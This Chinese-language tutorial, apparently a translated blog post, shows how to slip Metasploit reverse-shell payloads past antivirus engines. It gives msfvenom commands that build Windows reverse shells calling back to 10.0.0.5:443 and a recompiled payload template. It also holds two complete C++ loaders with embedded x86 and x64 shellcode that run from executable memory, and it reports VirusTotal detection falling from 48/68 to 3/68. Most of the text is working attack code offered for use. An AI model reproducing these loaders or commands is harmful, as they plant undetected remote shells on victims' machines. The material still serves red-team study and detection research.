在本文中，我们将为读者介绍两种简单的方法，让我们的shellcode可以顺利绕过防病毒引擎。
48/68的检出率
作为一个基准测试，让我们为32位Windows系统生成标准MSF反向shell payload：
root@~# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f exe > /root/tools/av.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
在VirusTotal网站中检测该文件，检出率如下所示：
36/68的检出率
在生成metasploit payload时，我们指定的shellcode会被注入到模板二进制文件中。在这里，我们将之前生成的payload注入到模板中，该模板的源代码如下所示：
出于好奇，让我们简单地重新编译标准模板：
root@/usr/share/metasploit-framework/data/templates/src/pe/exe# i686-w64-mingw32-gcc template.c -lws2_32 -o avbypass.exe
同时，使用新编译的模板重新生成payload：
root@~# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -x /usr/share/metasploit-framework/data/templates/src/pe/exe/avbypass.exe -f exe > /root/tools/avbypass.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 363382 bytes
将新生成的可执行文件放到VirusTotal网站，这次的检测数量从48个减少为36个，但是，我们的代码无需进行任何修改！
32/66的检出率
如果我们对确定内存分配大小的代码稍作修改：
……看来我们可以进一步降低VirusTotal的检出率，尽管幅度不是很大——这次，能够检测到它的引擎数量从36降到了32：
8/68的检出率——自定义x86二进制文件
让我们进一步提高自定义程度——根据之前的实验CreateRemoteThread Shellcode Injection中的payload构建一个二进制文件：
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c
inject-local-process.cpp
#include "stdafx.h"
#include "Windows.h"
int main()
{
unsigned char shellcode[] =
"\xbd\x85\x3b\x76\xa3\xda\xd8\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x31\x6b\x12\x83\xeb\xfc\x03\xee\x35\x94\x56\x0c\xa1\xda"
"\x99\xec\x32\xbb\x10\x09\x03\xfb\x47\x5a\x34\xcb\x0c\x0e\xb9"
"\xa0\x41\xba\x4a\xc4\x4d\xcd\xfb\x63\xa8\xe0\xfc\xd8\x88\x63"
"\x7f\x23\xdd\x43\xbe\xec\x10\x82\x87\x11\xd8\xd6\x50\x5d\x4f"
"\xc6\xd5\x2b\x4c\x6d\xa5\xba\xd4\x92\x7e\xbc\xf5\x05\xf4\xe7"
"\xd5\xa4\xd9\x93\x5f\xbe\x3e\x99\x16\x35\xf4\x55\xa9\x9f\xc4"
"\x96\x06\xde\xe8\x64\x56\x27\xce\x96\x2d\x51\x2c\x2a\x36\xa6"
"\x4e\xf0\xb3\x3c\xe8\x73\x63\x98\x08\x57\xf2\x6b\x06\x1c\x70"
"\x33\x0b\xa3\x55\x48\x37\x28\x58\x9e\xb1\x6a\x7f\x3a\x99\x29"
"\x1e\x1b\x47\x9f\x1f\x7b\x28\x40\xba\xf0\xc5\x95\xb7\x5b\x82"
"\x5a\xfa\x63\x52\xf5\x8d\x10\x60\x5a\x26\xbe\xc8\x13\xe0\x39"
"\x2e\x0e\x54\xd5\xd1\xb1\xa5\xfc\x15\xe5\xf5\x96\xbc\x86\x9d"
"\x66\x40\x53\x31\x36\xee\x0c\xf2\xe6\x4e\xfd\x9a\xec\x40\x22"
"\xba\x0f\x8b\x4b\x51\xea\x5c\x7e\xa6\xf4\x99\x16\xa4\xf4\xa0"
"\x5d\x21\x12\xc8\xb1\x64\x8d\x65\x2b\x2d\x45\x17\xb4\xfb\x20"
"\x17\x3e\x08\xd5\xd6\xb7\x65\xc5\x8f\x37\x30\xb7\x06\x47\xee"
"\xdf\xc5\xda\x75\x1f\x83\xc6\x21\x48\xc4\x39\x38\x1c\xf8\x60"
"\x92\x02\x01\xf4\xdd\x86\xde\xc5\xe0\x07\x92\x72\xc7\x17\x6a"
"\x7a\x43\x43\x22\x2d\x1d\x3d\x84\x87\xef\x97\x5e\x7b\xa6\x7f"
"\x26\xb7\x79\xf9\x27\x92\x0f\xe5\x96\x4b\x56\x1a\x16\x1c\x5e"
"\x63\x4a\xbc\xa1\xbe\xce\xcc\xeb\xe2\x67\x45\xb2\x77\x3a\x08"
"\x45\xa2\x79\x35\xc6\x46\x02\xc2\xd6\x23\x07\x8e\x50\xd8\x75"
"\x9f\x34\xde\x2a\xa0\x1c";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
这次，VirusTotal网站的检测率急剧下降到8/68：
3/68的检出率——自定义x64二进制文件
上面的二进制文件都是针对x86架构的。下面，让我们尝试为x64系统生成shellcode，并使用相同的自定义二进制文件：
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c -b \x00\x0a\x0d
inject-local-process.cpp
#include "stdafx.h"
#include "Windows.h"
int main()
{
unsigned char shellcode[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe1\xf6\x21\x9f\xdb\x78"
"\x21\xec\x1d\xbe\xe3\x2a\x6a\xc0\xb3\xbd\x4b\xf6\x93\xa9\x4e"
"\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09"
"\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3"
"\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff"
"\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d"
"\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8"
"\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xa4\x69"
"\xa4\x1c\x68\xef\x4a\xe2\xd8\xd0\x2c\xb1\xff\x63\xb2\x26\xd1"
"\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e"
"\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f"
"\xa0\xd0\xfd\xa5\x1c\x6e\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa"
"\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9e"
"\xe3\x29\xd4\x70\xb9\xad\x44\xe4\xea\xf0\x39\x79\xb6\x13\xe2"
"\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5"
"\x94\x58\xea\xfa\xc7\x30\xe0\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3"
"\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61"
"\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b"
"\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2"
"\x66\xa1\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\x1e\x2c\x55\x37\x63"
"\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6"
"\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xf1\x1e\x39\x55"
"\x3f\x66\x3b\x29\x90\xe1\xa5\xa5\xdd\xcf\x1f\x2b\x90\xe1\xec"
"\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b"
"\xe1\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d"
"\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b"
"\xd1\xb1\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xa1\x94\x7f\xee\xf2"
"\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68"
"\xf0\x25\xd1\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8"
"\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61"
"\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad"
"\x94\x64\x5d\xae\x2b\x90\xe1\xec";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
现在，VirusTotal的检出率只有3/68，这是一个很大的改进，使我们绕过了大多数流行的杀毒厂商：
参考文献
Backdooring EXE Files
https://www.offensive-security.com/metasploit-unleashed/backdooring-exe-files/
本文作者：mssp299
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